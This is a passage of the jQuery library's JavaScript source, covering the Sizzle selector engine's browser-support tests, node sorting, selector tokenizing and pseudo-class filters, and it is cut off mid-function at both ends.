rbuggyQSA.push(",.*:"); }); } if ( (support.matchesSelector = rnative.test( (matches = docElem.matches || docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector) )) ) { assert(function( div ) { // Check to see if it's possible to do matchesSelector // on a disconnected node (IE 9) support.disconnectedMatch = matches.call( div, "div" ); // This should fail with an exception // Gecko does not error, returns false instead matches.call( div, "[s!='']:x" ); rbuggyMatches.push( "!=", pseudos ); }); } rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join("|") ); rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join("|") ); /* Contains ---------------------------------------------------------------------- */ hasCompare = rnative.test( docElem.compareDocumentPosition ); // Element contains another // Purposefully does not implement inclusive descendent // As in, an element does not contain itself contains = hasCompare || rnative.test( docElem.contains ) ? function( a, b ) { var adown = a.nodeType === 9 ? a.documentElement : a, bup = b && b.parentNode; return a === bup || !!( bup && bup.nodeType === 1 && ( adown.contains ? adown.contains( bup ) : a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16 )); } : function( a, b ) { if ( b ) { while ( (b = b.parentNode) ) { if ( b === a ) { return true; } } } return false; }; /* Sorting ---------------------------------------------------------------------- */ // Document order sorting sortOrder = hasCompare ? function( a, b ) { // Flag for duplicate removal if ( a === b ) { hasDuplicate = true; return 0; } // Sort on method existence if only one input has compareDocumentPosition var compare = !a.compareDocumentPosition - !b.compareDocumentPosition; if ( compare ) { return compare; } // Calculate position if both inputs belong to the same document compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ? a.compareDocumentPosition( b ) : // Otherwise we know they are disconnected 1; // Disconnected nodes if ( compare & 1 || (!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) { // Choose the first element that is related to our preferred document if ( a === doc || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) { return -1; } if ( b === doc || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) { return 1; } // Maintain original order return sortInput ? ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) : 0; } return compare & 4 ? -1 : 1; } : function( a, b ) { // Exit early if the nodes are identical if ( a === b ) { hasDuplicate = true; return 0; } var cur, i = 0, aup = a.parentNode, bup = b.parentNode, ap = [ a ], bp = [ b ]; // Parentless nodes are either documents or disconnected if ( !aup || !bup ) { return a === doc ? -1 : b === doc ? 1 : aup ? -1 : bup ? 1 : sortInput ? ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) : 0; // If the nodes are siblings, we can do a quick check } else if ( aup === bup ) { return siblingCheck( a, b ); } // Otherwise we need full lists of their ancestors for comparison cur = a; while ( (cur = cur.parentNode) ) { ap.unshift( cur ); } cur = b; while ( (cur = cur.parentNode) ) { bp.unshift( cur ); } // Walk down the tree looking for a discrepancy while ( ap[i] === bp[i] ) { i++; } return i ? // Do a sibling check if the nodes have a common ancestor siblingCheck( ap[i], bp[i] ) : // Otherwise nodes in our document sort first ap[i] === preferredDoc ? -1 : bp[i] === preferredDoc ? 1 : 0; }; return doc; }; Sizzle.matches = function( expr, elements ) { return Sizzle( expr, null, null, elements ); }; Sizzle.matchesSelector = function( elem, expr ) { // Set document vars if needed if ( ( elem.ownerDocument || elem ) !== document ) { setDocument( elem ); } // Make sure that attribute selectors are quoted expr = expr.replace( rattributeQuotes, "='$1']" ); if ( support.matchesSelector && documentIsHTML && ( !rbuggyMatches || !rbuggyMatches.test( expr ) ) && ( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) { try { var ret = matches.call( elem, expr ); // IE 9's matchesSelector returns false on disconnected nodes if ( ret || support.disconnectedMatch || // As well, disconnected nodes are said to be in a document // fragment in IE 9 elem.document && elem.document.nodeType !== 11 ) { return ret; } } catch (e) {} } return Sizzle( expr, document, null, [ elem ] ).length > 0; }; Sizzle.contains = function( context, elem ) { // Set document vars if needed if ( ( context.ownerDocument || context ) !== document ) { setDocument( context ); } return contains( context, elem ); }; Sizzle.attr = function( elem, name ) { // Set document vars if needed if ( ( elem.ownerDocument || elem ) !== document ) { setDocument( elem ); } var fn = Expr.attrHandle[ name.toLowerCase() ], // Don't get fooled by Object.prototype properties (jQuery #13807) val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ? fn( elem, name, !documentIsHTML ) : undefined; return val !== undefined ? val : support.attributes || !documentIsHTML ? elem.getAttribute( name ) : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null; }; Sizzle.error = function( msg ) { throw new Error( "Syntax error, unrecognized expression: " + msg ); }; /** * Document sorting and removing duplicates * @param {ArrayLike} results */ Sizzle.uniqueSort = function( results ) { var elem, duplicates = [], j = 0, i = 0; // Unless we *know* we can detect duplicates, assume their presence hasDuplicate = !support.detectDuplicates; sortInput = !support.sortStable && results.slice( 0 ); results.sort( sortOrder ); if ( hasDuplicate ) { while ( (elem = results[i++]) ) { if ( elem === results[ i ] ) { j = duplicates.push( i ); } } while ( j-- ) { results.splice( duplicates[ j ], 1 ); } } // Clear input after sorting to release objects // See https://github.com/jquery/sizzle/pull/225 sortInput = null; return results; }; /** * Utility function for retrieving the text value of an array of DOM nodes * @param {Array|Element} elem */ getText = Sizzle.getText = function( elem ) { var node, ret = "", i = 0, nodeType = elem.nodeType; if ( !nodeType ) { // If no nodeType, this is expected to be an array while ( (node = elem[i++]) ) { // Do not traverse comment nodes ret += getText( node ); } } else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) { // Use textContent for elements // innerText usage removed for consistency of new lines (jQuery #11153) if ( typeof elem.textContent === "string" ) { return elem.textContent; } else { // Traverse its children for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { ret += getText( elem ); } } } else if ( nodeType === 3 || nodeType === 4 ) { return elem.nodeValue; } // Do not include comment or processing instruction nodes return ret; }; Expr = Sizzle.selectors = { // Can be adjusted by the user cacheLength: 50, createPseudo: markFunction, match: matchExpr, attrHandle: {}, find: {}, relative: { ">": { dir: "parentNode", first: true }, " ": { dir: "parentNode" }, "+": { dir: "previousSibling", first: true }, "~": { dir: "previousSibling" } }, preFilter: { "ATTR": function( match ) { match[1] = match[1].replace( runescape, funescape ); // Move the given value to match[3] whether quoted or unquoted match[3] = ( match[3] || match[4] || match[5] || "" ).replace( runescape, funescape ); if ( match[2] === "~=" ) { match[3] = " " + match[3] + " "; } return match.slice( 0, 4 ); }, "CHILD": function( match ) { /* matches from matchExpr["CHILD"] 1 type (only|nth|...) 2 what (child|of-type) 3 argument (even|odd|\d*|\d*n([+-]\d+)?|...) 4 xn-component of xn+y argument ([+-]?\d*n|) 5 sign of xn-component 6 x of xn-component 7 sign of y-component 8 y of y-component */ match[1] = match[1].toLowerCase(); if ( match[1].slice( 0, 3 ) === "nth" ) { // nth-* requires argument if ( !match[3] ) { Sizzle.error( match[0] ); } // numeric x and y parameters for Expr.filter.CHILD // remember that false/true cast respectively to 0/1 match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === "even" || match[3] === "odd" ) ); match[5] = +( ( match[7] + match[8] ) || match[3] === "odd" ); // other types prohibit arguments } else if ( match[3] ) { Sizzle.error( match[0] ); } return match; }, "PSEUDO": function( match ) { var excess, unquoted = !match[6] && match[2]; if ( matchExpr["CHILD"].test( match[0] ) ) { return null; } // Accept quoted arguments as-is if ( match[3] ) { match[2] = match[4] || match[5] || ""; // Strip excess characters from unquoted arguments } else if ( unquoted && rpseudo.test( unquoted ) && // Get excess from tokenize (recursively) (excess = tokenize( unquoted, true )) && // advance to the next closing parenthesis (excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) { // excess is a negative index match[0] = match[0].slice( 0, excess ); match[2] = unquoted.slice( 0, excess ); } // Return only captures needed by the pseudo filter method (type and argument) return match.slice( 0, 3 ); } }, filter: { "TAG": function( nodeNameSelector ) { var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase(); return nodeNameSelector === "*" ? function() { return true; } : function( elem ) { return elem.nodeName && elem.nodeName.toLowerCase() === nodeName; }; }, "CLASS": function( className ) { var pattern = classCache[ className + " " ]; return pattern || (pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) && classCache( className, function( elem ) { return pattern.test( typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "" ); }); }, "ATTR": function( name, operator, check ) { return function( elem ) { var result = Sizzle.attr( elem, name ); if ( result == null ) { return operator === "!="; } if ( !operator ) { return true; } result += ""; return operator === "=" ? result === check : operator === "!=" ? result !== check : operator === "^=" ? check && result.indexOf( check ) === 0 : operator === "*=" ? check && result.indexOf( check ) > -1 : operator === "$=" ? check && result.slice( -check.length ) === check : operator === "~=" ? ( " " + result.replace( rwhitespace, " " ) + " " ).indexOf( check ) > -1 : operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" : false; }; }, "CHILD": function( type, what, argument, first, last ) { var simple = type.slice( 0, 3 ) !== "nth", forward = type.slice( -4 ) !== "last", ofType = what === "of-type"; return first === 1 && last === 0 ? // Shortcut for :nth-*(n) function( elem ) { return !!elem.parentNode; } : function( elem, context, xml ) { var cache, outerCache, node, diff, nodeIndex, start, dir = simple !== forward ? "nextSibling" : "previousSibling", parent = elem.parentNode, name = ofType && elem.nodeName.toLowerCase(), useCache = !xml && !ofType; if ( parent ) { // :(first|last|only)-(child|of-type) if ( simple ) { while ( dir ) { node = elem; while ( (node = node[ dir ]) ) { if ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) { return false; } } // Reverse direction for :only-* (if we haven't yet done so) start = dir = type === "only" && !start && "nextSibling"; } return true; } start = [ forward ? parent.firstChild : parent.lastChild ]; // non-xml :nth-child(...) stores cache data on `parent` if ( forward && useCache ) { // Seek `elem` from a previously-cached index outerCache = parent[ expando ] || (parent[ expando ] = {}); cache = outerCache[ type ] || []; nodeIndex = cache[0] === dirruns && cache[1]; diff = cache[0] === dirruns && cache[2]; node = nodeIndex && parent.childNodes[ nodeIndex ]; while ( (node = ++nodeIndex && node && node[ dir ] || // Fallback to seeking `elem` from the start (diff = nodeIndex = 0) || start.pop()) ) { // When found, cache indexes on `parent` and break if ( node.nodeType === 1 && ++diff && node === elem ) { outerCache[ type ] = [ dirruns, nodeIndex, diff ]; break; } } // Use previously-cached element index if available } else if ( useCache && (cache = (elem[ expando ] || (elem[ expando ] = {}))[ type ]) && cache[0] === dirruns ) { diff = cache[1]; // xml :nth-child(...) or :nth-last-child(...) or :nth(-last)?-of-type(...) } else { // Use the same loop as above to seek `elem` from the start while ( (node = ++nodeIndex && node && node[ dir ] || (diff = nodeIndex = 0) || start.pop()) ) { if ( ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) && ++diff ) { // Cache the index of each encountered element if ( useCache ) { (node[ expando ] || (node[ expando ] = {}))[ type ] = [ dirruns, diff ]; } if ( node === elem ) { break; } } } } // Incorporate the offset, then check against cycle size diff -= last; return diff === first || ( diff % first === 0 && diff / first >= 0 ); } }; }, "PSEUDO": function( pseudo, argument ) { // pseudo-class names are case-insensitive // http://www.w3.org/TR/selectors/#pseudo-classes // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters // Remember that setFilters inherits from pseudos var args, fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] || Sizzle.error( "unsupported pseudo: " + pseudo ); // The user may use createPseudo to indicate that // arguments are needed to create the filter function // just as Sizzle does if ( fn[ expando ] ) { return fn( argument ); } // But maintain support for old signatures if ( fn.length > 1 ) { args = [ pseudo, pseudo, "", argument ]; return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ? markFunction(function( seed, matches ) { var idx, matched = fn( seed, argument ), i = matched.length; while ( i-- ) { idx = indexOf( seed, matched[i] ); seed[ idx ] = !( matches[ idx ] = matched[i] ); } }) : function( elem ) { return fn( elem, 0, args ); }; } return fn; } }, pseudos: { // Potentially complex pseudos "not": markFunction(function( selector ) { // Trim the selector passed to compile // to avoid treating leading and trailing // spaces as combinators var input = [], results = [], matcher = compile( selector.replace( rtrim, "$1" ) ); return matcher[ expando ] ? markFunction(function( seed, matches, context, xml ) { var elem, unmatched = matcher( seed, null, xml, [] ), i = seed.length; // Match elements unmatched by `matcher` while ( i-- ) { if ( (elem = unmatched[i]) ) { seed[i] = !(matches[i] = elem); } } }) : function( elem, context, xml ) { input[0] = elem; matcher( input, null, xml, results ); // Don't keep the element (issue #299) input[0] = null; return !results.pop(); }; }), "has": markFunction(function( selector ) { return function( elem ) { return Sizzle( selector, elem ).length > 0; }; }), "contains": markFunction(function( text ) { text = text.replace( runescape, funescape ); return function( elem ) { return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1; }; }), // "Whether an element is represented by a :lang() selector // is based solely on the element's language value // being equal to the identifier C, // or beginning with the identifier C immediately followed by "-". // The matching of C against the element's language value is performed case-insensitively. // The identifier C does not have to be a valid language name." // http://www.w3.org/TR/selectors/#lang-pseudo "lang": markFunction( function( lang ) { // lang value must be a valid identifier if ( !ridentifier.test(lang || "") ) { Sizzle.error( "unsupported lang: " + lang ); } lang = lang.replace( runescape, funescape ).toLowerCase(); return function( elem ) { var elemLang; do { if ( (elemLang = documentIsHTML ? elem.lang : elem.getAttribute("xml:lang") || elem.getAttribute("lang")) ) { elemLang = elemLang.toLowerCase(); return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0; } } while ( (elem = elem.parentNode) && elem.nodeType === 1 ); return false; }; }), // Miscellaneous "target": function( elem ) { var hash = window.location && window.location.hash; return hash && hash.slice( 1 ) === elem.id; }, "root": function( elem ) { return elem === docElem; }, "focus": function( elem ) { return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex); }, // Boolean properties "enabled": function( elem ) { return elem.disabled === false; }, "disabled": function( elem ) { return elem.disabled === true; }, "checked": function( elem ) { // In CSS3, :checked should return both checked and selected elements // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked var nodeName = elem.nodeName.toLowerCase(); return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected); }, "selected": function( elem ) { // Accessing this property makes selected-by-default // options in Safari work properly if ( elem.parentNode ) { elem.parentNode.selectedIndex; } return elem.selected === true; }, // Contents "empty": function( elem ) { // http://www.w3.org/TR/selectors/#empty-pseudo // :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5), // but not by others (comment: 8; processing instruction: 7; etc.) // nodeType < 6 works because attributes (2) do not appear as children for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { if ( elem.nodeType < 6 ) { return false; } } return true; }, "parent": function( elem ) { return !Expr.pseudos["empty"]( elem ); }, // Element/input types "header": function( elem ) { return rheader.test( elem.nodeName ); }, "input": function( elem ) { return rinputs.test( elem.nodeName ); }, "button": function( elem ) { var name = elem.nodeName.toLowerCase(); return name === "input" && elem.type === "button" || name === "button"; }, "text": function( elem ) { var attr; return elem.nodeName.toLowerCase() === "input" && elem.type === "text" && // Support: IE<8 // New HTML5 attribute values (e.g., "search") appear with elem.type === "text" ( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text" ); }, // Position-in-collection "first": createPositionalPseudo(function() { return [ 0 ]; }), "last": createPositionalPseudo(function( matchIndexes, length ) { return [ length - 1 ]; }), "eq": createPositionalPseudo(function( matchIndexes, length, argument ) { return [ argument < 0 ? argument + length : argument ]; }), "even": createPositionalPseudo(function( matchIndexes, length ) { var i = 0; for ( ; i < length; i += 2 ) { matchIndexes.push( i ); } return matchIndexes; }), "odd": createPositionalPseudo(function( matchIndexes, length ) { var i = 1; for ( ; i < length; i += 2 ) { matchIndexes.push( i ); } return matchIndexes; }), "lt": createPositionalPseudo(function( matchIndexes, length, argument ) { var i = argument < 0 ? argument + length : argument; for ( ; --i >= 0; ) { matchIndexes.push( i ); } return matchIndexes; }), "gt": createPositionalPseudo(function( matchIndexes, length, argument ) { var i = argument < 0 ? argument + length : argument; for ( ; ++i < length; ) { matchIndexes.push( i ); } return matchIndexes; }) } }; Expr.pseudos["nth"] = Expr.pseudos["eq"]; // Add button/input type pseudos for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) { Expr.pseudos[ i ] = createInputPseudo( i ); } for ( i in { submit: true, reset: true } ) { Expr.pseudos[ i ] = createButtonPseudo( i ); } // Easy API for creating new setFilters function setFilters() {} setFilters.prototype = Expr.filters = Expr.pseudos; Expr.setFilters = new setFilters(); tokenize = Sizzle.tokenize = function( selector, parseOnly ) { var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[ selector + " " ]; if ( cached ) { return parseOnly ? 0 : cached.slice( 0 ); } soFar = selector; groups = []; preFilters = Expr.preFilter; while ( soFar ) { // Comma and first run if ( !matched || (match = rcomma.exec( soFar )) ) { if ( match ) { // Don't consume trailing commas as valid soFar = soFar.slice( match[0].length ) || soFar; } groups.push( (tokens = []) ); } matched = false; // Combinators if ( (match = rcombinators.exec( soFar )) ) { matched = match.shift(); tokens.push({ value: matched, // Cast descendant combinators to space type: match[0].replace( rtrim, " " ) }); soFar = soFar.slice( matched.length ); } // Filters for ( type in Expr.filter ) { if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] || (match = preFilters[ type ]( match ))) ) { matched = match.shift(); tokens.push({ value: matched, type: type, matches: match }); soFar = soFar.slice( matched.length ); } } if ( !matched ) { break; } } // Return the length of the invalid excess // if we're just parsing // Otherwise, throw an error or return tokens return parseOnly ? soFar.length : soFar ? Sizzle.error( selector ) : // Cache the tokens tokenCache( selector, groups ).slice( 0 ); }; function toSelector( tokens ) { var i = 0, len = tokens.length, selector = ""; for ( ; i < len; i++ ) { selector += tokens[i].value; } return selector; } function addCombinator( matcher, combinator, base ) { var dir = combinator.dir, checkNonElements = base && dir === "parentNode", doneName = done++; return combinator.first ? // Check against closest ancestor/preceding element function( elem, context, xml ) { while ( (elem = elem[ dir ]) ) { if ( elem.nodeType === 1 || checkNonElements ) { return matcher( elem, context, xml ); } } } : // Check against all ancestor/preceding elements function( elem, context, xml ) { var oldCache, outerCache, newCache = [ dirruns, doneName ]; // We can't set arbitrary data on XML nodes, so they don't benefit from dir caching if ( xml ) { while ( (elem = elem[ dir ]) ) { if ( elem.nodeType === 1 || checkNonElements ) { if ( matcher( elem, context, xml ) ) { return true; } } } } else { while ( (elem = elem[ dir ]) ) { if ( elem.nodeType === 1 || checkNonElements ) { outerCache = elem[ expando ] || (elem[ expando ] = {}); if ( (oldCache = outerCache[ dir ]) && oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) { // Assign to newCache so results back-propagate to previous elements return (newCache[ 2 ] = oldCache[ 2 ]); } else { // Reuse newcache so results back-propagate to previous elements outerCache[ dir ] = newCache; // A match means we're done; a fail means we have to keep checking if ( (newCache[ 2 ] = matcher( elem, context, xml )) ) { return true; } } } } } }; } function elementMatcher( matchers ) { return matchers.length > 1 ? function( elem, context, xml ) { var i = matchers.length; while ( i-- ) { if ( !matchers[i]( elem, context, xml ) ) { return false; } } return true; } : matchers[0]; } function multipleContexts( selector, contexts, results ) { var i = 0, len = contexts.length; for ( ; i < len; i++ ) { Sizzle( selector, contexts[i], results ); } return results; } function condense( unmatched, map, filter, context, xml ) { var elem, newUnmatched = [], i = 0, len = unmatched.length, mapped = map != null; for ( ; i < len; i++ ) { if ( (elem = unmatched[i]) ) { if ( !filter || filter( elem, context, xml ) ) { newUnmatched.push( elem ); if ( mapped ) { map.push( i ); } } } } return newUnmatched; } function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) { if ( postFilter && !postFilter[ expando ] ) { postFilter = setMatcher( postFilter ); } if ( postFinder && !postFinder[ expando ] ) { postFinder = setMatcher( postFinder, postSelector ); } return markFunction(function( seed, results, context, xml ) { var temp, i, elem, preMap = [], postMap = [], preexisting = results.length, // Get initial elements from seed or context elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ), // Prefilter to get matcher input, preserving a map for seed-results synchronization matcherIn = preFilter && ( seed || !selector ) ? condense( elems, preMap, preFilter, context, xml ) : elems, matcherOut = matcher ? // If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results, postFinder || ( seed ? preFilter : preexisting || postFilter ) ? // ...intermediate processing is necessary [] : // ...otherwise use results directly results : matcherIn; // Find primary matches if ( matcher ) { matcher( matcherIn, matcherOut, context, xml ); } // Apply postFilter if ( postFilter ) { temp = condense( matcherOut, postMap ); postFilter( temp, [], context, xml ); // Un-match failing elements by moving them back to matcherIn i = temp.length; while ( i-- ) { if ( (elem = temp[i]) ) { matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem); } } } if ( seed ) { if ( postFinder || preFilter ) { if ( postFinder ) { // Get the final matcherOut by condensing this intermediate into postFinder contexts temp = []; i = matcherOut.length; while ( i-- ) { if ( (elem = matcherOut[i]) ) { // Restore matcherIn since elem is not yet a final match temp.push( (matcherIn[i] = elem) ); } } postFinder( null, (matcherOut = []), temp, xml ); } // Move matched elements from seed to results to keep them synchronized i = matcherOut.length; while ( i-- ) { if ( (elem = matcherOut[i]) && (temp = postFinder ? indexOf( seed, elem ) : preMap[i]) > -1 ) { seed[temp] = !(results[temp] = elem); } } } // Add elements to results, through postFinder if defined } else { matcherOut = condense( matcherOut === results ? matcherOut.splice( preexisting, matcherOut.length ) : matcherOut ); if ( postFinder ) { postFinder( null, results, matcherOut, xml ); } else { push.apply( results, matcherOut ); } } }); } function matcherFromTokens( tokens ) { var checkContext, matcher, j, len = tokens.length, leadingRelative = Expr.relative[ tokens[0].type ], implicitRelative = leadingRelative || Expr.relative[" "], i = leadingRelative ? 1 : 0, // The foundational matcher ensures that elements are reachable from top-level context(s) matchContext = addCombinator( function( elem ) { return elem === checkContext; }, implicitRelative, true ), matchAnyContext = addCombinator( function( elem ) { return indexOf( checkContext, elem ) > -1; }, implicitRelative, true ), matchers = [ function( elem, context, xml ) { var ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || ( (checkContext = context).nodeType ? matchContext( elem, context, xml ) : matchAnyContext( elem, context, xml ) ); // Avoid hanging onto element (issue #299) checkContext = null; return ret; } ]; for ( ; i < len; i++ ) { if ( (matcher = Expr.relative[ tokens[i].type ]) ) { matchers = [ addCombinator(elementMatcher( matchers ), matcher) ]; } else { matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches ); // Return special upon seeing a positional matcher if ( matcher[ expando ] ) { // Find the next relative operator (if any) for proper handling j = ++i; for ( ; j < len; j++ ) { if ( Expr.relative[ tokens[j].type ] ) { break; } } return setMatcher( i > 1 && elementMatcher( matchers ), i > 1 && toSelector( // If the preceding token was a descendant combinator, insert an implicit any-element `*` tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === " " ? "*" : "" }) ).replace( rtrim, "$1" ), matcher, i < j && matcherFromTokens( tokens.slice( i, j ) ), j < len && matcherFromTokens( (tokens = tokens.slice( j )) ), j < len && toSelector( tokens ) ); } matchers.push( matcher ); } } return elementMatcher( matchers ); } function matcherFromGroupMatchers( elementMatchers, setMatchers ) { var bySet = setMatchers.length > 0, byElement = elementMatchers.length > 0, superMatcher = function( seed, context, xml, results, outermost ) { var elem, j, matcher, matchedCount = 0, i = "0", unmatched = seed && [], setMatched = [], contextBackup = outermostContext, // We must always have either seed elements or outermost context elems = seed || byElement && Expr.find["TAG"]( "*", outermost ), // Use integer dirruns iff this is the outermost matcher dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1), len = elems.length; if ( outermost ) { outermostContext = context !== document && context; } // Add elements passing elementMatchers directly to results // Keep `i` a string if there are no elements so `matchedCount` will be "00" below // Support: IE<9, Safari // Tolerate NodeList properties (IE: "length"; Safari: <number>) matching elements by id for ( ; i !== len && (elem = elems[i]) != null; i++ ) { if ( byElement && elem ) { j = 0; while ( (matcher = elementMatchers[j++]) ) { if ( matcher( elem, context, xml ) ) { results.push( elem ); break; } } if ( outermost ) { dirruns = dirrunsUnique; } } // Track unmatched elements for set filters if ( bySet ) { // They will have gone through all possible matchers if ( (elem = !matcher && elem) ) { matchedCount--; } // Lengthen the array for every element, matched or not if ( seed ) { unmatched.push( elem ); } } } // Apply set filters to unmatched elements matchedCount += i; if ( bySet && i !== matchedCount ) { j = 0; while ( (matcher = setMatchers[j++]) ) { matcher( unmatched, setMatched, context, xml ); } if ( seed ) { // Reintegrate element matches to eliminate the need for sorting if ( matchedCount > 0 ) { while ( i-- ) { if ( !(unmatched[i] || setMatched[i]) ) { setMatched[i] = pop.call( results ); } } } // Discard index placeholder values to get only actual matches setMatched = condense( setMatched ); } // Add matches to results push.apply( results, setMatched ); // Seedless set matches succeeding multiple successful matchers stipulate sorting if ( outermost && !seed && setMatched.length > 0 && ( matchedCount + setMatchers.length ) > 1 ) { Sizzle.uniqueSort( results ); } } // Override manipulation of globals by nested matchers if ( outermost ) { dirruns = dirrunsUnique; outermostContext = contextBackup; } return unmatched; }; return bySet ? markFunction( superMatcher ) : superMatcher; } compile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) { var i, setMatchers = [], elementMatchers = [], cached = compilerCache[ selector + " " ]; if ( !cached ) { // Generate a function of recursive functions that can be used to check each element if ( !match ) { match = tokenize( selector ); } i = match.length; while ( i-- ) { cached = matcherFromTokens( match[i] ); if ( cached[ expando ] ) { setMatchers.push( cached ); } else { elementMatchers.push( cached ); } } // Cache the compiled function cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) ); // Save selector and tokenization cached.selector = selector; } return cached; }; /** * A low-level selection function that works with Sizzle's compiled * selector functions * @param {String|Function} selector A selector or a pre-compiled * selector function built with Sizzle.compile * @param {Element} context * @param {Array} [results] * @param {Array} [seed] A set of elements to match against */ select = Sizzle.select = function( selector, context, results, seed ) { var i, tokens, token, type, find, compiled = typeof selector === "function" && selector, match = !seed && tokenize( (selector = compiled.selector || selector) ); results = results || []; // Try to minimize operations if there is no seed and only one group if ( match.length === 1 ) { // Take a shortcut and set the context if the root selector is an ID tokens = match[0] = match[0].slice( 0 ); if ( tokens.length > 2 && (token = tokens[0]).type === "ID" && support.getById && context.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[1].type ] ) { context = ( Expr.find["ID"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0]; if ( !context ) { return results; // Precompiled matchers will still verify ancestry, so step up a level } else if ( compiled ) { context = context.parentNode; } selector = selector.slice( tokens.shift().value.length ); } // Fetch a seed set for right-to-left matching i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length; while ( i-- ) { token = tokens[i]; // Abort if we hit a combinator if ( Expr.relative[ (type = token.type) ] ) { break; } if ( (find = Expr.find[ type ]) ) { // Search, expanding context for leading sibling combinators if ( (seed = find( token.matches[0].replace( runescape, funescape ), rsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context )) ) { // If seed is empty or no tokens remain, we can return early tokens.splice( i, 1 ); selector = seed.length && toSelector( tokens ); if ( !selector ) { push.apply( results, seed ); return results; } break; } } } } // Compile and execute a filtering function if one is not provided // Provide `match` to avoid retokenization if we modified the selector above ( compiled || compile( selector, match ) )( seed, context, !documentIsHTML, results, rsibling.test( selector ) && testContext( context.parentNode ) || context ); return results; }; // One-time assignments // Sort stability support.sortStable = expando.split("").sort( sortOrder ).join("") === expando; // Support: Chrome 14-35+ // Always assume duplicates if they aren't passed to the comparison function support.detectDuplicates = !!hasDuplicate; // Initialize against the default document setDocument(); // Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27) // Detached nodes confoundingly follow *each other* support.sortDetached = assert(function( div1 ) { // Should return 1, but returns 4 (following) return div1.compareDocumentPosition( document.createElement("div") ) & 1; }); // Support: IE<8 // Prevent attribute/property "interpolation" // http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx if ( !assert(function( div ) { div.innerHTML = "<a href='#'></a>"; return div.firstChild.getAttribute("href") === "#" ; }) ) { addHandle( "type|href|height|width", function( elem, name, isXML ) { if ( !isXML ) { return elem.getAttribute( name, name.toLowerCase() === "type" ? 1 : 2 ); } }); } // Support: IE<9 // Use defaultValue in place of getAttribute("value") if ( !support.attributes || !assert(function( div ) { div.innerHTML = "<input/>"; div.firstChild.setAttribute( "value", "" ); return div.firstChild.getAttribute( "value" ) === ""; }) ) { addHandle( "value", function( elem, name, isXML ) { if ( !isXML && elem.nodeName.toLowerCase() === "input" ) { return elem.defaultValue; } }); } // Support: IE<9 // Use getAttributeNode to fetch booleans when getAttribute lies if ( !assert(function( div ) { return div.getAttribute("disabled") == null; }) ) { addHandle( booleans, function( elem, name, isXML ) { var val; if ( !isXML ) { return elem[ name ] === true ? name.toLowerCase() : (val = elem.getAttributeNode( name )) && val.specified ? val.value : null; } }); } return Sizzle; })( window ); jQuery.find = Sizzle; jQuery.expr = Sizzle.selectors; jQuery.expr[":"] = jQuery.expr.pseudos; jQuery.unique = Sizzle.uniqueSort; jQuery.text = Sizzle.getText; jQuery.isXMLDoc = Sizzle.isXML; jQuery.contains = Sizzle.contains; var rneedsContext = jQuery.expr.match.needsContext; var rsingleTag = (/^<(\w+)\s*\/?>(?:<\/\1>|)$/); var risSimple = /^.[^:#\[\.,]*$/; // Implement the identical functionality for filter and not function winnow( elements, qualifier, not ) { if ( jQuery.isFunction( qualifier ) ) { return jQuery.grep( elements, function( elem, i ) { /* jshint -W018 */ return !!qualifier.call( elem, i, elem ) !== not; }); } if ( qualifier.nodeType ) { return jQuery.grep( elements, function( elem ) { return ( elem === qualifier ) !== not; }); } if ( typeof qualifier === "string" ) { if ( risSimple.test( qualifier ) ) { return jQuery.filter( qualifier, elements, not ); } qualifier = jQuery.filter( 